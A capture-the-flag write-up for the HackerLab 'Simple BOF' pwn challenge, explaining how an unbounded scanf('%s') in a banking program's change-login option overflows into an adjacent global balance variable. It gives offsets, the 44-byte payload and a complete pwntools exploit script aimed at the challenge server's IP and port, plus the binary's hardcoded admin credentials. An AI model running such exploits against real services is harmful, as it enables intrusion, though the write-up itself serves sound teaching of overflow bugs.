HackerLab: Simple BOF - Я хочу купить этот флаг!!!
HackerLab: Simple BOF - Я хочу купить этот флаг!!!
Platform: hackerlab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2025-12-24 | Status: Solved Techniques: NA
Summary
HackerLab: Simple BOF - Я хочу купить этот флаг!!!
Date: 2025-12-24
Category: PWN / Buffer Overflow
Difficulty: Easy (300 points)
Flag: CODEBY{REDACTED}
Description
На моём счёте в банке 1000$. А флаг стоит в разы больше. Как же мне быть??
Analysis
Binary
- ELF 64-bit, PIE, dynamically linked, not stripped
- Banking application with menu
Key Addresses (in .data section)
admin_login: 0x4010 (6 bytes, "admin\0")
admin_pass: 0x4020 (27 bytes, "Super_secret_admin_password\0")
balance: 0x403c (4 bytes, initial value 1000 = 0x3E8)
Program Logic
- Main menu: Login / Call bank / Exit
- After successful login (admin / Super_secret_admin_password) - admin menu
- Admin menu:
- [1] Work for 1 month - adds 10006 to balance
- [2] Buy the flag - checks
balance == 0x434442(4408386) - [3] Change login - vulnerability! uses
scanf("%s", admin_login) - [4] Exit
Vulnerability
Option 3 "Change login" uses scanf("%s") without length limit to write to admin_login (0x4010).
Offset from admin_login to balance: 0x403c - 0x4010 = 44 bytes
Exploitation
Key Point
To buy the flag, the balance must be EXACTLY equal to 0x434442.
In little-endian: \x42\x44\x43\x00 = "BDC\x00"
Trick: scanf automatically adds a null-terminator, so it's enough to send "BDC" (3 bytes), and scanf will add \x00, resulting in the exact value 0x434442.
Payload
44 bytes padding + "BDC"
Exploit
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * HOST = "62.173.140.174" PORT = 17100 r = remote(HOST, PORT) # Login r.recvuntil(b"[3] Exit.") r.sendline(b"1") r.recvuntil(b"login:") r.sendline(b"admin") r.recvuntil(b"password:") r.sendline(b"Super_secret_admin_password") # Wait for admin menu import time time.sleep(1) r.send(b"\n") r.recvuntil(b"Your choice:") # Option 3 - Change login (overflow) r.sendline(b"3") time.sleep(1) r.send(b"\n") r.recvuntil(b"new login:") # Overflow: 44 bytes padding + "BDC" (scanf adds \x00) payload = b'A' * 44 + b"BDC" r.sendline(payload) # Wait for menu time.sleep(1) r.send(b"\n") r.recvuntil(b"Your choice:") # Option 2 - Buy flag r.sendline(b"2") # Get flag r.recvuntil(b"Your flag:") flag = r.recvline().decode().strip() print(f"FLAG: {flag}") r.close()
Key Techniques
- Buffer overflow in .data section - overwriting a global variable through an adjacent buffer
- scanf("%s") without bounds checking - classic vulnerability
- Little-endian encoding - correct byte order for the target value
- Null-terminator from scanf - using the automatic addition of
\x00
Lessons
scanf("%s")is always dangerous - no length checking- Global variables in .data section can be overwritten via overflow
- Important to consider that scanf adds a null-terminator
- With exact comparison (==) you need to set the exact value, not just "greater than"
Tags
buffer_overflow, scanf, data_section, variable_overwrite, exact_value